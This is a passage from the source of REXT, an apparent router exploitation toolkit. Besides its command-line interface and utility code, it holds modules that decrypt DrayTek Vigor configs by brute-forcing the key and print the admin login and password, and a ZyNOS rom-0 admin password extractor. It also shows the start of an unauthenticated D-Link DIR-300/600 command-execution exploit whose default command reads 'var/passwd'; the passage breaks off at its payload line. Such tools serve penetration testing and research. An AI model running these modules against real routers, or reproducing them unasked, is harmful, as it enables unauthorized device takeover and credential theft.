"") 59 | company = line[1].split(")")[1] 60 | company = company.replace("\n", "") 61 | if company == " ": 62 | company = "Private" 63 | try: 64 | cursor.execute("INSERT INTO oui (oui, name) VALUES (?, ?)", [oui, company]) 65 | status = '\rInserting {0}:{1}' 66 | sys.stdout.write(status.format(company, oui)) 67 | except Exception as e: 68 | # CONRAD CORP. and CERN + ROYAL MELBOURNE INST OF TECH share oui, this should be considered 69 | # print(e) 70 | # print(oui + " " + company) 71 | # SELECT name FROM oui.oui WHERE oui = oui 72 | # UPDATE oui.oui SET name = name+" OR "+company WHERE oui=oui 73 | pass 74 | print() 75 | 76 | # Add a few OUIs manually (from NMAP oui file) 77 | cursor.execute("INSERT INTO oui (oui, name) VALUES ('525400', 'QEMU Virtual NIC')") 78 | cursor.execute("INSERT INTO oui (oui, name) VALUES ('B0C420', 'Bochs Virtual NIC')") 79 | cursor.execute("INSERT INTO oui (oui, name) VALUES ('DEADCA', 'PearPC Virtual NIC')") 80 | cursor.execute("INSERT INTO oui (oui, name) VALUES ('00FFD1', 'Cooperative Linux virtual NIC')") 81 | connection.commit() 82 | try: 83 | os.remove("./output/tmp_oui.txt") 84 | except OSError: 85 | pass 86 | 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /databases/bad_keys.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/databases/bad_keys.db -------------------------------------------------------------------------------- /databases/oui.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/databases/oui.db -------------------------------------------------------------------------------- /interface/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/interface/__init__.py -------------------------------------------------------------------------------- /interface/banner.txt: -------------------------------------------------------------------------------- 1 | ================================ 2 | REXT:Router EXploitation Toolkit 3 | Author:Ján Trenčanský 4 | Email:jan.trencansky(at)gmail.com 5 | Twitter:@j91321 6 | Version:1.0.0 7 | License:GNU GPL v3 8 | ================================ -------------------------------------------------------------------------------- /interface/cmdui.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # cmdui.py - command line interface script 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import cmd 7 | import sys 8 | 9 | import interface.utils 10 | import core.globals 11 | from core import loader 12 | from core import updater 13 | from interface.messages import print_error, print_help, print_info, print_success 14 | 15 | 16 | class Interpreter(cmd.Cmd): 17 | # 18 | modules = {} 19 | commands = {'modules': [], 'show': []} 20 | active_module = modules 21 | active_module_import_name = "" 22 | 23 | def __init__(self, stdout=sys.stdout): 24 | loader.check_dependencies() 25 | loader.check_create_dirs() 26 | core.globals.ouidb_conn = loader.open_database("./databases/oui.db") 27 | if core.globals.ouidb_conn is None: 28 | print_error("OUI database could not be open, please provide OUI database") 29 | cmd.Cmd.__init__(self, stdout=stdout) # stdout had to be added for tests 30 | self.prompt = ">" 31 | # Load banner 32 | with open("./interface/banner.txt", "r", encoding="utf-8") as file: 33 | banner = "" 34 | for line in file.read(): 35 | banner += line 36 | self.intro = banner 37 | file.close() 38 | # Load list of available modules in modules 39 | module_directory_names = interface.utils.list_dirs("./modules") # List directories in module directory 40 | for module_name in module_directory_names: 41 | path = "./modules/" + module_name 42 | vendors = interface.utils.list_dirs(path) 43 | vendors_dict = {} 44 | for vendor in vendors: 45 | vendor_path = path + "/" + vendor 46 | files = interface.utils.list_files(vendor_path) 47 | vendors_dict[vendor] = files 48 | self.modules[module_name] = vendors_dict 49 | for expl in list(vendors_dict.items()): 50 | if len(list(expl[1])) > 0: 51 | for items in list(expl[1]): 52 | pathmodule = '{}/{}/{}'.format(module_name, expl[0], items) 53 | if pathmodule not in self.commands['modules']: 54 | self.commands['modules'].append(pathmodule) 55 | for commands in self.commands['modules']: 56 | self.commands['show'].append(commands.split('/')[0]) 57 | 58 | def emptyline(self): 59 | pass 60 | 61 | def postloop(self): 62 | print("Bye!") 63 | 64 | def do_exit(self, args): 65 | loader.close_database(core.globals.ouidb_conn) 66 | return True 67 | 68 | # Interpreter commands section 69 | # This was not written with performance in mind exactly... 70 | def do_show(self, module): 71 | if module == "": 72 | if isinstance(self.active_module, dict): 73 | for key in sorted(self.active_module.keys()): 74 | print(key) 75 | elif isinstance(self.active_module, set): 76 | for file in sorted(self.active_module): 77 | print(file) 78 | elif module == "modules": 79 | for key in sorted(self.modules.keys()): 80 | print(key) 81 | elif module in self.modules.keys(): 82 | for key in sorted(self.modules.get(module).keys()): 83 | print(key) 84 | elif (self.active_module is dict) and (module in self.active_module.keys()): 85 | for key in sorted(self.active_module.get(module)): # Yeah lot of sorting going on I know 86 | print(key) 87 | else: 88 | print_error("Invalid argument for command show " + module) 89 | 90 | def do_load(self, module): 91 | tokens = module.split("/") 92 | while tokens: # That'll do pig. 93 | module = tokens.pop(0) 94 | if module in self.modules: # Basic idea if first word is exploits, scanners etc. go to REXT root 95 | self.do_unload(None) 96 | if isinstance(self.active_module, set): # If you are in the last layer and only .py files load them 97 | core.globals.active_script = module 98 | module_path = core.globals.active_module_path + module 99 | self.active_module_import_name = interface.utils.make_import_name(module_path) 100 | loader.load_module(self.active_module_import_name) # Module is loaded and executed 101 | try: 102 | loader.delete_module(self.active_module_import_name) # Module is unloaded so it can be used again 103 | except ValueError: 104 | pass 105 | core.globals.active_module_import_name = "" 106 | elif isinstance(self.active_module, dict): # Else change directory depth 107 | if module in self.active_module.keys(): 108 | self.active_module = self.active_module.get(module) 109 | core.globals.active_module_path += module + "/" 110 | interface.utils.change_prompt(self, core.globals.active_module_path) 111 | else: 112 | print_error(module + " not found") # If error occurred then print error and break parsing 113 | break 114 | 115 | def do_unload(self, e): 116 | self.active_module = self.modules # Change every setting to REXT root 117 | interface.utils.change_prompt(self, None) 118 | core.globals.active_module_path = "" 119 | 120 | def do_update(self, e): 121 | args = e.split(' ') 122 | if args[0] == "oui": 123 | print_info("Updating OUI DB. Database rebuild may take several minutes.") 124 | # print_blue("Do you wish to continue? (y/n)") 125 | # Add if here 126 | updater.update_oui() 127 | print_success("OUI database updated successfully.") 128 | elif args[0] == "force": 129 | print_info("Discarding local changes and updating REXT") 130 | updater.update_rext_force() 131 | elif args[0] == "": 132 | print_info("Updating REXT please wait...") 133 | updater.update_rext() 134 | print_success("Update successful") 135 | 136 | # autocomplete section 137 | def complete_load(self, text, line, begidx, endidx): 138 | modules = self.commands['modules'] 139 | module_line = line.partition(' ')[2] 140 | igon = len(module_line) - len(text) 141 | return [s[igon:] for s in modules if s.startswith(module_line)] 142 | 143 | def complete_show(self, text, line, begidx, endidx): 144 | modules = self.commands['show'] 145 | module_line = line.partition(' ')[2] 146 | igon = len(module_line) - len(text) 147 | return [s[igon:] for s in modules if s.startswith(module_line)] 148 | 149 | # Help to commands section 150 | 151 | def help_show(self): 152 | print_help("list available modules and vendors") 153 | 154 | def help_load(self): 155 | print_help("load module") 156 | print("Usage: load ") 157 | 158 | def help_update(self): # Recreate this with python formatter 159 | print_help("update REXT functionality") 160 | print("Usage: update ") 161 | print("Available arguments:\n" 162 | "\tno argument\n\t\tupdate REXT using git\n" 163 | "\toui\n\t\tupdate MAC vendor database\n" 164 | "\tforce\n\t\tdo git reset --hard and update\n") 165 | 166 | def help_unload(self): 167 | print_help("return to root of REXT modules") 168 | 169 | def help_exit(self): 170 | print_help("Exit REXT") 171 | 172 | -------------------------------------------------------------------------------- /interface/messages.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.messages.py - script containing colors and messages 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Based on http://stackoverflow.com/questions/287871/print-in-terminal-with-colors-using-python 6 | from interface.utils import identify_os 7 | 8 | if identify_os() == 'posix': 9 | 10 | class Color: 11 | BLUE = '\033[94m' 12 | GREEN = '\033[32m' 13 | YELLOW = '\033[93m' 14 | RED = '\033[91m' 15 | PURPLE = '\033[95m' 16 | CYAN = '\033[96m' 17 | DARKCYAN = '\033[36m' 18 | BOLD = '\033[1m' 19 | UNDERL = '\033[4m' 20 | ENDC = '\033[0m' 21 | else: 22 | class Color: 23 | BLUE = '' 24 | GREEN = '' 25 | YELLOW = '' 26 | RED = '' 27 | PURPLE = '' 28 | CYAN = '' 29 | DARKCYAN = '' 30 | BOLD = '' 31 | UNDERL = '' 32 | ENDC = '' 33 | 34 | 35 | def print_success(*args, **kwargs): 36 | print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs) 37 | 38 | 39 | def print_error(*args, **kwargs): 40 | print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs) 41 | 42 | 43 | def print_failed(*args, **kwargs): 44 | print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs) 45 | 46 | 47 | def print_warning(*args, **kwargs): 48 | print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs) 49 | 50 | 51 | def print_help(*args, **kwargs): 52 | print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs) 53 | 54 | 55 | def print_info(*args, **kwargs): 56 | print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs) 57 | 58 | 59 | def print_green(msg): 60 | print(Color.GREEN + msg + Color.ENDC) 61 | 62 | 63 | def print_yellow(msg): 64 | print(Color.YELLOW + msg + Color.ENDC) 65 | 66 | 67 | def print_red(msg): 68 | print(Color.RED + msg + Color.ENDC) 69 | 70 | 71 | def print_purple(msg): 72 | print(Color.PURPLE + msg + Color.ENDC) 73 | 74 | 75 | def print_blue(msg): 76 | print(Color.BLUE + msg + Color.ENDC) 77 | -------------------------------------------------------------------------------- /interface/utils.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.utils.py - script contains useful static methods 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import os 7 | import re 8 | import socket 9 | import sys 10 | import string 11 | import urllib 12 | import urllib.request 13 | import core.globals 14 | 15 | 16 | def validate_mac(mac): 17 | xr = re.compile(r'^([a-fA-F0-9]{2}([:-]?)[a-fA-F0-9]{2}(\2[a-fA-F0-9]{2}){4})$') 18 | rr = xr.match(mac) 19 | if rr: 20 | return True 21 | else: 22 | return False 23 | 24 | 25 | def lookup_mac(mac): 26 | mac = mac.replace(":", "") 27 | mac = mac.replace("-", "") 28 | cursor = core.globals.ouidb_conn.cursor() 29 | cursor.execute("SELECT name FROM oui WHERE oui == ?", [mac[:6]]) 30 | company_name = (cursor.fetchone()) 31 | if company_name is not None: 32 | company_name = company_name[0] 33 | return "(" + company_name + ")" 34 | else: 35 | return "(Unknown)" 36 | 37 | 38 | def validate_ipv4(ip): 39 | try: 40 | socket.inet_aton(ip) 41 | return True 42 | except socket.error: 43 | return False 44 | 45 | 46 | def file_exists(file): # I know this is useless wrapper but it's probably better not to import os everywhere 47 | if os.path.isfile(file): 48 | return True 49 | else: 50 | return False 51 | 52 | 53 | def list_dirs(path): 54 | """ 55 | List directories in specified path 56 | :param path:Path to parent directory 57 | :return:List of child directories 58 | """ 59 | dirs = {name for name in os.listdir(path) if os.path.isdir(os.path.join(path, name))} 60 | if "__pycache__" in dirs: 61 | dirs.remove("__pycache__") 62 | if ".cache" in dirs: 63 | dirs.remove(".cache") 64 | return dirs 65 | 66 | 67 | def list_files(path): 68 | """ 69 | Lits files in path 70 | :param path: Path to directory 71 | :return: List of files in directory without extension 72 | """ 73 | files = {os.path.splitext(file)[0] for file in os.listdir(path) if os.path.isfile(os.path.join(path, file))} 74 | if "__init__" in files: 75 | files.remove("__init__") 76 | return files 77 | 78 | 79 | def make_import_name(input_value): 80 | input_value = "modules." + input_value 81 | return re.sub('/', '.', input_value) 82 | 83 | 84 | def change_prompt(interpreter, path): 85 | if path is not None: 86 | interpreter.prompt = path + ">" 87 | else: 88 | interpreter.prompt = ">" 89 | 90 | 91 | def identify_os(): 92 | if os.name == "nt": 93 | operating_system = "windows" 94 | elif os.name == "posix": 95 | operating_system = "posix" 96 | else: 97 | operating_system = "unknown" 98 | return operating_system 99 | 100 | 101 | # Simple wget implementation with status bar 102 | def wget(url, path): 103 | 104 | def hook(blocks, block_size, total_size): 105 | current = blocks * block_size 106 | percent = 100.0 * current / total_size 107 | # Found this somewhere, don't remember where sorry 108 | line = '[{0}{1}]'.format('=' * int(percent / 2), ' ' * (50 - int(percent / 2))) 109 | status = '\r{0:3.0f}%{1} {2:3.1f}/{3:3.1f} MB' 110 | sys.stdout.write(status.format(percent, line, current/1024/1024, total_size/1024/1024)) 111 | 112 | try: 113 | (path, headers) = urllib.request.urlretrieve(url, path, hook) 114 | except: 115 | os.remove(path) 116 | print() 117 | return False 118 | 119 | return path 120 | 121 | 122 | # Used for autocomplete, autocomplete of cmd expects simple list of all possibilities, but it's easier to define 123 | # all menu options as data structure of nested dictionaries and lists 124 | def dict_to_str(input_value): 125 | output = [] 126 | for key in input_value.keys(): 127 | items = input_value.get(key) 128 | if isinstance(items, dict): 129 | new_list = dict_to_str(items) 130 | for item in new_list: 131 | output.append(''.join('{} {}'.format(key, str(item)))) 132 | elif isinstance(items, list) or isinstance(items, range): 133 | if len(items) == 0: 134 | output.append(''.join('{}'.format(key))) 135 | else: 136 | for item in items: 137 | output.append(''.join('{} {}'.format(key, str(item)))) 138 | return output 139 | 140 | 141 | # Takes bytearray as argument and searches for all strings that are 4 letters or more in length 142 | # works similar to unix strings program 143 | def strings(input_array, minimum=4): 144 | result = "" 145 | for c in input_array: 146 | char = chr(c) 147 | if char in string.digits or char in string.ascii_letters or char in string.punctuation: 148 | result += char 149 | continue 150 | if len(result) >= minimum: 151 | yield result 152 | result = "" 153 | if len(result) >= minimum: 154 | yield result 155 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/modules/__init__.py -------------------------------------------------------------------------------- /modules/decryptors/draytek/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/decryptors/draytek/vigor_config_old.py: -------------------------------------------------------------------------------- 1 | # Name:Draytek Vigor 2XXX/3XXX series config file decryption and decompression with password extraction 2 | # File:vigor_config.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 7.3.2014 6 | # Last modified: 7.3.2014 7 | # Shodan Dork: 8 | # Description: Guess the state of config file and decrypt and decompress it, extract passwords 9 | # Based on draytools work of Nikita Abdullin (AMMOnium) https://github.com/ammonium/draytools 10 | # TODO: No sample of older cfg file, so not able to test properly. 11 | # TODO: All cfgs use new encryption. Works with decrypted cfg 12 | import core.Decryptor 13 | import core.io 14 | import core.compression.lzo 15 | 16 | from interface.messages import print_success, print_green, print_yellow, print_warning, print_info 17 | from collections import defaultdict 18 | from struct import unpack, pack 19 | import math 20 | 21 | 22 | class Decryptor(core.Decryptor.RextDecryptor): 23 | """ 24 | Name:Draytek Vigor 2XXX/3XXX series config file decryption and decompression with password extraction 25 | File:vigor_config.py 26 | Author:Ján Trenčanský 27 | License: GNU GPL v3 28 | Created: 7.3.2014 29 | Description: Guess the state of config file and decrypt and decompress it, extract passwords 30 | Based on: draytools work of Nikita Abdullin (AMMOnium) https://github.com/ammonium/draytools 31 | 32 | Options: 33 | Name Description 34 | 35 | file Input config file path 36 | """ 37 | 38 | CFG_RAW = 0 39 | CFG_LZO = 1 40 | CFG_ENC = 2 41 | 42 | def __init__(self): 43 | core.Decryptor.RextDecryptor.__init__(self) 44 | 45 | def do_run(self, e): 46 | f = open(self.input_file, 'rb') 47 | data = f.read() 48 | f.close() 49 | g, outdata = self.de_cfg(data) 50 | if g != self.CFG_RAW: 51 | core.io.writefile(outdata, "config.out") 52 | print_success("config file written to config.out, extracting credentials...") 53 | creds = self.get_credentials(outdata) 54 | print_green("Login :\t" + (creds[0] == b"" and b"admin" or creds[0]).decode()) 55 | print_green("Password :\t" + (creds[1] == b"" and b"admin" or creds[1]).decode()) 56 | 57 | def de_cfg(self, data): 58 | """Get raw config data from raw /compressed/encrypted & comressed""" 59 | g = self.smart_guess(data) 60 | if g == self.CFG_RAW: 61 | print_warning('File is :\tnot compressed, not encrypted') 62 | return g, data 63 | elif g == self.CFG_LZO: 64 | print_warning('File is :\tcompressed, not encrypted') 65 | return g, self.decompress_cfg(data) 66 | elif g == self.CFG_ENC: 67 | print_warning('File is :\tcompressed, encrypted') 68 | return g, self.decompress_cfg(self.decrypt_cfg(data)) 69 | 70 | def smart_guess(self, data): 71 | """Guess is the cfg block compressed or not""" 72 | # Uncompressed block is large and has low entropy 73 | if self.entropy(data) < 1.0 or len(data) > 0x10000: 74 | return self.CFG_RAW 75 | # Compressed block still has pieces of cleartext at the beginning 76 | if b"Vigor" in data and (b"Series" in data or b"draytek" in data): 77 | return self.CFG_LZO 78 | return self.CFG_ENC 79 | 80 | def entropy(self, data): 81 | """Calculate Shannon entropy (in bits per byte)""" 82 | flist = defaultdict(int) 83 | dlen = len(data) 84 | data = map(int, data) 85 | # count occurencies 86 | for byte in data: 87 | flist[byte] += 1 88 | ent = 0.0 89 | # convert count of occurencies into frequency 90 | for freq in flist.values(): 91 | if freq > 0: 92 | ffreq = float(freq) / dlen 93 | # actual entropy calcualtion 94 | ent -= ffreq * math.log(ffreq, 2) 95 | return ent 96 | 97 | def get_modelid(self, data): 98 | """Extract a model ID from config file header""" 99 | modelid = data[0x0C:0x0E] 100 | return modelid 101 | 102 | def decompress_cfg(self, data): 103 | """Decompress a config file""" 104 | modelstr = "V" + format(unpack(">H", self.get_modelid(data))[0], "04X") 105 | print_info('Model is :\t' + modelstr) 106 | rawcfgsize = 0x00100000 107 | lzocfgsize = unpack(">L", data[0x24:0x28])[0] 108 | raw = data[:0x2D] + b'\x00' + data[0x2E:0x100] + \ 109 | core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", rawcfgsize) + data[0x100:0x100 + lzocfgsize]) 110 | return raw 111 | 112 | def decrypt_cfg(self, data): 113 | """Decrypt config, bruteforce if default key fails""" 114 | modelstr = "V" + format(unpack(">H", self.get_modelid(data))[0], "04X") 115 | print_info('Model is :\t' + modelstr) 116 | ckey = self.make_key(modelstr) 117 | rdata = self.decrypt(data[0x100:], ckey) 118 | # if the decrypted data does not look good, bruteforce 119 | if self.smart_guess(rdata) != self.CFG_LZO: 120 | rdata = self.brute_cfg(data[0x100:]) 121 | print_success('Used key :\t[0x%02X]' % ckey) 122 | return data[:0x2D] + b'\x01' + data[0x2E:0x100] + rdata 123 | 124 | def make_key(self, modelstr): 125 | """Construct a key out of a model string (like 'V2710')""" 126 | key_sum = 0 127 | for c in modelstr: 128 | key_sum += ord(c) 129 | return 0xFF & key_sum 130 | 131 | def enc(self, c, key): 132 | c ^= key 133 | c -= key 134 | c = 0xFF & (c >> 5 | c << 3) 135 | return c 136 | 137 | def dec(self, c, key): 138 | c = (c << 5 | c >> 3) 139 | c += key 140 | c ^= key 141 | c &= 0xFF 142 | return c 143 | 144 | def decrypt(self, data, key): 145 | """Decrypt a block of data using given key""" 146 | rdata = b'' 147 | for i in range(len(data)): 148 | rdata += bytes(self.dec(data[i], key)) 149 | return rdata 150 | 151 | # return ''.join(map(lambda od:chr(draytools.dec(ord(od),key)),data)) 152 | 153 | def brute_cfg(self, data): 154 | """Check all possible keys until data looks like decrypted""" 155 | rdata = None 156 | key = 0 157 | for i in range(256): 158 | rdata = self.decrypt(data, i) 159 | if self.smart_guess(rdata) == self.CFG_LZO: 160 | key = i 161 | break 162 | print_success('Found key:\t[0x%02X]' % key) 163 | return rdata 164 | 165 | def get_credentials(self, data): 166 | """Extract admin credentials from config""" 167 | login = data[0x100 + 0x28:0x100 + 0x40].split(b'\x00')[0] 168 | password = data[0x100 + 0x40:0x100 + 0x58].split(b'\x00')[0] 169 | return [login, password] 170 | 171 | 172 | Decryptor() -------------------------------------------------------------------------------- /modules/decryptors/draytek/vigor_fw_decompress.py: -------------------------------------------------------------------------------- 1 | # Name:Draytek Vigor 2XXX/3XXX series FW decompression and FS extraction 2 | # File:vigor_fw_decompress.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 25.2.2014 6 | # Last modified: 25.2.2014 7 | # Shodan Dork: 8 | # Description: Decompress FW file extract FS 9 | # Based on draytools work of Nikita Abdullin (AMMOnium) https://github.com/ammonium/draytools 10 | 11 | import core.Decryptor 12 | import core.io 13 | import core.compression.lzo 14 | 15 | from interface.messages import print_error, print_success, print_warning, print_info 16 | from struct import unpack, pack 17 | import os 18 | 19 | 20 | class Decryptor(core.Decryptor.RextDecryptor): 21 | """ 22 | Name:Draytek Vigor 2XXX/3XXX series FW decompression and FS extraction 23 | File:vigor_fw_decompress.py 24 | Author:Ján Trenčanský 25 | License: GNU GPL v3 26 | Created: 25.2.2014 27 | Description: Decompress firmware file extract filesystem 28 | 29 | Options: 30 | Name Description 31 | 32 | file Input firmware file path 33 | """ 34 | 35 | def __init__(self): 36 | core.Decryptor.RextDecryptor.__init__(self) 37 | 38 | def do_run(self, e): 39 | f = open(self.input_file, 'rb') 40 | data = f.read() 41 | f.close() 42 | result = self.decompress_firmware(data) 43 | if result is not None: 44 | dirpath = core.io.writefile(result, "fw.decomp") 45 | print_success("Decompressed firmware written to fw.decomp") 46 | self.decompress_fs_only(data, dirpath) 47 | print_success("FS decompressed") 48 | 49 | #Code from draytools, with minor modifications for REXT and python3 50 | @staticmethod 51 | def decompress_firmware(data): 52 | """Decompress firmware""" 53 | flen = len(data) 54 | sigstart = data.find(b'\xA5\xA5\xA5\x5A\xA5\x5A') 55 | # Try an alternative signature 56 | if sigstart <= 0: 57 | sigstart = data.find(b'\x5A\x5A\xA5\x5A\xA5\x5A') 58 | # Compressed FW block found, now decompress 59 | if sigstart > 0: 60 | print_info('Signature found at [0x%08X]' % sigstart) 61 | lzosizestart = sigstart + 6 62 | lzostart = lzosizestart + 4 63 | lzosize = unpack('>L', bytes(data[lzosizestart:lzostart]))[0] 64 | return data[0x100:sigstart + 2] + core.compression.lzo.pydelzo.decompress( 65 | b'\xF0' + pack(">L", 0x1000000) + data[lzostart:lzostart + lzosize]) 66 | else: 67 | print_error('Compressed FW signature not found!') 68 | return None 69 | 70 | def decompress_fs_only(self, data, path): 71 | """Decompress filesystem""" 72 | fsstart = unpack('>L', data[:4])[0] 73 | print_info('FS block start at: %d [0x%08X]' % (fsstart, fsstart)) 74 | return self.decompress_fs(data[fsstart:], path) 75 | 76 | def decompress_fs(self, data, path): 77 | """Decompress filesystem""" 78 | lzofsdatalen = unpack('>L', data[4:8])[0] 79 | print_info('Compressed FS length: %d [0x%08X]' % (lzofsdatalen, lzofsdatalen)) 80 | # stupid assumption of raw FS length. Seems OK for now 81 | fsdatalen = 0x800000 82 | fs_raw = core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", fsdatalen) 83 | + data[0x08:0x08 + lzofsdatalen]) 84 | cfs = fs(fs_raw) 85 | return lzofsdatalen, cfs.save_all(path) 86 | 87 | 88 | class fs: 89 | """Draytek filesystem utilities""" 90 | 91 | def __init__(self, data): 92 | self.cdata = data 93 | 94 | def get_fname(self, i): 95 | """Return full filename of the file #i from FS header""" 96 | addr = 0x10 + i * 44 97 | return bytes(self.cdata[addr: addr + 0x20].strip(b'\x00')).decode() 98 | 99 | def get_hash(self, i): 100 | """Return currently unknown hash for the file #i from FS header""" 101 | addr = 0x10 + i * 44 + 0x20 102 | return unpack(" 1: 128 | if not os.path.exists(ppp): 129 | os.makedirs(ppp) 130 | nfname = os.sep.join(pp) 131 | # size of uncompressed file 132 | rawfs = -1 133 | ff = open(nfname, 'wb') 134 | # perform extraction, some file types are not compressed 135 | if fs > 0: 136 | if pp[-1].split('.')[-1].lower() in ['gif', 'jpg', 'cgi', 'cab', 'txt', 'jar']: 137 | rawfdata = fdata 138 | else: 139 | try: 140 | rawfdata = core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", fs * 64) + fdata) 141 | except core.compression.lzo.LZO_ERROR as lze: 142 | print_warning('File "' + fname + '" is damaged or uncompressed [' 143 | + str(lze) 144 | + '], RAW DATA WRITTEN') 145 | rawfdata = fdata 146 | else: 147 | rawfdata = '' 148 | rawfs = len(rawfdata) 149 | ff.write(rawfdata) 150 | ff.close() 151 | # print some debug info for each file 152 | print_info('%08X "' % ds + fname + '" %08X' % fs + ' %08X' % rawfs) 153 | return fs, rawfs 154 | 155 | def save_all(self, path): 156 | """Extract all files from current FS""" 157 | self.path = path 158 | numfiles = unpack("LLL', zlib_chunk_header) 60 | if xml_chunk_length == 0x10000 or config_bin_length == 0: 61 | zlib_chunk_end = zlib_chunk_start + zlib_chunk_length 62 | zlib_chunk = config_bin[zlib_chunk_start: zlib_chunk_end] 63 | xml_chunk = zlib.decompress(zlib_chunk) 64 | assert xml_chunk_length == len(xml_chunk) 65 | config_xml += xml_chunk 66 | return config_xml 67 | 68 | 69 | Decryptor() 70 | -------------------------------------------------------------------------------- /modules/decryptors/zyxel/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/decryptors/zyxel/rom-0_pass_extract.py: -------------------------------------------------------------------------------- 1 | # Name:ZyNOS rom-0 config file decompress and admin password extract 2 | # File:rom-0_pass_extract.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 18.2.2014 6 | # Last modified: 12.11.2016 7 | # Description: Decompress rom-0 file from ZyNOS, older files (round 16kB are compressed by LZS algorithm) 8 | # newer files (around 60kB) seems to be using something else??? 9 | # http://reverseengineering.stackexchange.com/questions/3662/backup-from-zynos-but-can-not-be-decompressed-with-lzs 10 | # based on https://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html 11 | import core.Decryptor 12 | import core.io 13 | import core.compression.lzs 14 | import interface.utils 15 | from interface.messages import print_success, print_info 16 | 17 | 18 | class Decryptor(core.Decryptor.RextDecryptor): 19 | """ 20 | Name:ZyNOS rom-0 config file decompress and admin password extract 21 | File:rom-0_pass_extract.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 18.2.2014 25 | Description: Decompress rom-0 file (spt.dat) from ZyNOS and try to extract strings. 26 | 27 | Options: 28 | Name Description 29 | 30 | file Input firmware file path 31 | """ 32 | def __init__(self): 33 | core.Decryptor.RextDecryptor.__init__(self) 34 | 35 | def do_run(self, e): 36 | f = open(self.input_file, 'rb') 37 | # These should be offsets of spt.dat but it somehow works with these values usually, 38 | # the core.compression.lzs is not a very good implementation, it won't decompress the whole file correctly 39 | # but it's enough to to extract admin password 40 | fpos = 8568 41 | fend = 8788 42 | f.seek(fpos) 43 | amount = 221 44 | while fpos < fend: 45 | if fend - fpos < amount: 46 | amount = amount 47 | data = f.read(amount) 48 | fpos += len(data) 49 | result, window = core.compression.lzs.LZSDecompress(data) 50 | print_info("Printing strings found in decompressed data (admin password is usually the first found):") 51 | for s in interface.utils.strings(result): 52 | print_success(s) 53 | 54 | Decryptor() 55 | 56 | -------------------------------------------------------------------------------- /modules/exploits/allegrosoft/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/modules/exploits/allegrosoft/__init__.py -------------------------------------------------------------------------------- /modules/exploits/dlink/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/exploits/dlink/dir300_600_exec.py: -------------------------------------------------------------------------------- 1 | # Name:D-link DIR-300 and DIR-600 command execution no auth 2 | # File:dir300_600_exec.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 23.12.2015 6 | # Last modified: 23.12.2015 7 | # Shodan Dork: 8 | # Description: Command execution vulnerability for DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. 9 | # Based on: https://www.rapid7.com/db/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import requests 15 | import urllib.parse 16 | import interface.utils 17 | from interface.messages import print_error, print_success, print_help, print_info, \ 18 | print_warning 19 | 20 | 21 | class Exploit(core.Exploit.RextExploit): 22 | """ 23 | Name:D-link DIR-300 and DIR-600 command execution no auth 24 | File:dir300_600_exec.py 25 | Author:Ján Trenčanský 26 | License: GNU GPL v3 27 | Created: 23.12.2015 28 | Description: Command execution vulnerability for DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. 29 | Based on: https://www.rapid7.com/db/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth 30 | 31 | Options: 32 | Name Description 33 | 34 | host Target host address 35 | port Target port 36 | command Command to execute e.g. cat var/passwd 37 | """ 38 | command = "" 39 | 40 | def __init__(self): 41 | self.command = "cat var/passwd" 42 | core.Exploit.RextExploit.__init__(self) 43 | 44 | def do_set(self, e): 45 | args = e.split(' ') 46 | try: 47 | if args[0] == "host": 48 | if interface.utils.validate_ipv4(args[1]): 49 | self.host = args[1] 50 | else: 51 | print_error("please provide valid IPv4 address") 52 | elif args[0] == "port": 53 | if str.isdigit(args[1]): 54 | self.port = args[1] 55 | else: 56 | print_error("port value must be integer") 57 | elif args[0] == "command": 58 | self.command = ' '.join(args[1:]) 59 | except IndexError: 60 | print_error("please specify value for variable") 61 | 62 | def do_command(self, e): 63 | print_info(self.command) 64 | 65 | def help_command(self): 66 | print_help("Prints current value of command") 67 | 68 | def do_run(self, e): 69 | url = "http://%s:%s/command.php" % (self.host, self.port) 70 | 71 | payload 